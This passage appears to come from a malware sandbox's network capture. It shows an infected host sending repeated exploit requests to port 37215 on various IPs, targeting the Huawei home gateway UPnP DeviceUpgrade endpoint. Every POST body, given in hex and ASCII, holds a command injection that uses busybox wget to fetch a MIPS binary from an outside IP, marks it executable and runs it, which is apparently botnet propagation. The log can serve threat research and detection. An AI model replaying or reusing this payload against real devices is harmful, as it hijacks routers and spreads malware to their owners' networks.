Dec 30, 2023 07:15:42.650342941 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:44.346107006 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:47.865511894 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:54.776578903 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:08.342796087 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:36.754686117 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	35512	41.238.184.39	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:41.265271902 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:41.606409073 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	47374	156.253.41.50	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:47.021617889 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:48.953356981 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
